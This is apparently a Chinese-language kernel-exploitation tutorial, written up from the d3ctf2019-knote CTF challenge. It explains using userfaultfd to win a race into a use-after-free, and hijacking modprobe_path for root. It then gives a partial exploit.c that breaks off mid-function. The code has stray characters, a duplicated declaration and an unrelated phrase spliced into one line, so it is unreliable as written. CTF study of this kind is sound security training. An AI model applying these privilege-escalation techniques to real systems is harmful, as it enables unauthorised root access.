linuxkernelpwn学习之条件竞争(⼆)userfaultfd
userfaultfd、mobprobe_path、mod_tree的利⽤
userfaultfd是linux下的⼀直缺页处理机制,⽤户可以⾃定义函数来处理这种事件。所谓的缺页,就是所访问的页⾯还没有装⼊RAM中。⽐如mmap创建的堆,它实际上还没有装载到内存中,系统有⾃⼰默认的机制来处理,⽤户也可以⾃定义处理函数,在处理函数没有结束之前,缺页发⽣的位置将处于暂停状态。这将⾮常有助于条件竞争的利⽤。
举个栗⼦
假如在内核⾥有这样⼀段代码
1. if (ptr) {
2.    ...
3.    copy_from_user(ptr,user_buf,len);
4.    ...
5. }
如果,我们的user_buf是⼀块mmap映射的,并且未初始化的区域,此时就会触发缺页错误,copy_from_user将暂停执⾏,在暂停的这段时间内,我们开另⼀个线程,将ptr释放掉,再把其他结构申请到这⾥(⽐如tty_struct),然后当缺页处理结束后,copy_from_user恢复执⾏,然⽽ptr此时指向的是tty_struct结构,那么就能对
tty_struct结构进⾏修改了。虽然说,不⽤缺页处理,也能造成条件竞争,但是⼏率⽐较⼩。⽽利⽤了缺页处理,⼏率将增加很⼤很⼤。
⼤概就是这个道理,我们来看看,如何注册userfaultfd吧,话不多说,这是模板,更详细的可以⾃⾏去看看⽂档。
1. //注册⼀个userfaultfd来处理缺页错误
2. void registerUserfault(void *fault_page,void *handler)
3. {
4.    pthread_t thr;
5. struct uffdio_api ua;
6. struct uffdio_register ur;
7.    uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
8.    ua.api = UFFD_API;
9.    ua.features    = 0;
10. if (ioctl(uffd, UFFDIO_API, &ua) == -1)
11.      errExit("[-] ioctl-UFFDIO_API");
12.
13.    ur.range.start = (unsigned long)fault_page; //我们要监视的区域
14.    ur.range.len  = PAGE_SIZE;
15.    ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
16. if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发⽣缺页时,程序会阻塞,此时,我们在另⼀个线程⾥操作
17.      errExit("[-] ioctl-UFFDIO_REGISTER");
18. //开⼀个线程,接收错误的信号,然后处理
19. int s = pthread_create(&thr, NULL,handler, (void*)uffd);
20. if (s!=0)
21.      errExit("[-] pthread_create");
22. }
为了更好的理解,我们以d3ctf2019-knote为例
d3ctf2019-knote
⾸先,查看⼀下启动脚本
1. #!/bin/sh
2. qemu-system-x86_64 \
3. -m 128M \
4. -kernel ./bzImage \
5. -initrd  ./rootfs.img \
6. -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
7. -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
8. -nographic \
9. -monitor /dev/null \
10. -smp cores=2,threads=1 \
11. -cpu qemu64,+smep,+smap \
发现开启了smep、smap机制,接下来,我们启动系统,查看⼀下内核版本
在linux 5以上,似乎很难ret2usr,貌似多了其他的机制,使得单纯修改cr4不起作⽤,以后慢慢研究。然后,我们⽤IDA分析⼀下note.ko驱动⽂件
Ioctl定义了经典的增删改查操作
Add操作,有锁保护着,不担⼼多线程,size不能超过0xFFF
Delete操作,也没啥好说的
Edit操作全程没有加锁
Get操作也是全程没有加锁
1. int __request_module(bool wait, const char *fmt, ...)
2. {
3. va_list args;
4. char module_name[MODULE_NAME_LEN];
5. int ret;
6.
7. /*
8.      * We don't allow synchronous module loading from async.  Module
9.      * init may invoke async_synchronize_full() which will end up
10.      * waiting for this task which already is waiting for the module
11.      * loading to complete, leading to a deadlock.
12.      */
13.    WARN_ON_ONCE(wait && current_is_async());
14.
15. if (!modprobe_path[0])
16. return 0;
17.
18.    va_start(args, fmt);
19.    ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);
20.    va_end(args);
21. if (ret >= MODULE_NAME_LEN)
22. return -ENAMETOOLONG;
23.
24.    ret = security_kernel_module_request(module_name);
25. if (ret)
26. return ret;
27.
28. if (atomic_dec_if_positive(&kmod_concurrent_max) < 0) {
29.        pr_warn_ratelimited("request_module: kmod_concurrent_max (%u) close to 0 (max_modprobes: %u), for module %s, ",
30.                    atomic_read(&kmod_concurrent_max),
31.                    MAX_KMOD_CONCURRENT, module_name);
32.        ret = wait_event_killable_timeout(kmod_wq,
33.                          atomic_dec_if_positive(&kmod_concurrent_max) >= 0,
34.                          MAX_KMOD_ALL_BUSY_TIMEOUT * HZ);
35. if (!ret) {
36.            pr_warn_ratelimited("request_module: modprobe %s cannot be processed, kmod busy with %d threads for more than %d seconds now",
37.                        module_name, MAX_KMOD_CONCURRENT, MAX_KMOD_ALL_BUSY_TIMEOUT);
38. return -ETIME;
39.        } else if (ret == -ERESTARTSYS) {
40.            pr_warn_ratelimited("request_module: sigkill sent for modprobe %s, giving up", module_name);
41. return ret;
42.        }
43.    }
44.
45.    trace_module_request(module_name, wait, _RET_IP_);
46.
47.    ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
48.
49.    atomic_inc(&kmod_concurrent_max);
50.    wake_up(&kmod_wq);
51.
52. return ret;
53. }
内核调⽤call_modprobe函数执⾏mobprobe_path指向的⽂件,并且call_modprobe函数拥有root权限,我们只需要劫持mobprobe_path,指向我们提权的脚本,然后指向⼀个⾮法⼆进制,就能触发提权脚本的执⾏。
与mobprobe_path配套的还有mod_tree,这⾥记录着ko模块的加载地址,因此可以⽤来泄露模块地址。这两个变量的地址都能在/proc/kallsyms⾥到,因此,我们可以得到它们的静态地址。
⼤概就是这样,直接上exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/mman.h>
/
/页⼤⼩
#define PAGE_SIZE 0x1000
//tty_struct的⼤⼩
#define TTY_STRUCT_SIZE 0X2E0
//cat /proc/kallsyms | grep modprobe_path
#define MOD_PROBE 0x145c5c0
//第⼆次利⽤时,堆统⼀的⼤⼩
//随便设置,过⼤过⼩都不好
#define CHUNK_SIZE 0x100
//modprobe_path的地址
size_t modprobe_path;
/
/驱动的⽂件描述符
int fd;
//ptmx的⽂件描述符
int tty_fd;
int tty_fd;
//传给驱动的数据结构
struct Data {
union {
size_t size; //⼤⼩
size_t index; //下标
};
void *buf; //数据
};
void errExit(char *msg) {
puts(msg);
exit(-1);
}
void initFD() {
fd = open("/dev/knote",O_RDWR);
if (fd < 0) {
errExit("device open error!!");
}
}
//创建⼀个节点
void kcreate(size_t size) {
struct Data data;
data.size = size;
data.buf = NULL;
ioctl(fd,0x1337,&data);
}
//删除⼀个节点
void kdelete(size_t index) {
struct Data data;
data.index = index;
ioctl(fd,0x6666,&data);
}
//编辑⼀个节点
void kedit(size_t index,void *buf) {
struct Data data;
data.index = index;
data.buf = buf;
ioctl(fd,0x8888,&data);
}
//显⽰节点的内容
void kshow(size_t index,void *buf) {
struct Data data;
data.index = index;
data.buf = buf;
ioctl(fd,0x2333,&data);
}
//注册⼀个userfaultfd来处理缺页错误
void registerUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features    = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
errExit("[-] ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page; //我们要监视的区域
linux下的sleep函数ur.range.len  = PAGE_SIZE;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发⽣缺页时,程序会阻塞,此时,我们在另⼀个线程⾥操作      errExit("[-] ioctl-UFFDIO_REGISTER");
//开⼀个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
errExit("[-] pthread_create");
}
//针对laekKernelBase时的缺页处理线程
//这个线程⾥,我们不需要做什么,仅仅是
//为了拖延阻塞时间,给⼦进程⾜够的时间
//来形成⼀个UAF
void* leak_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。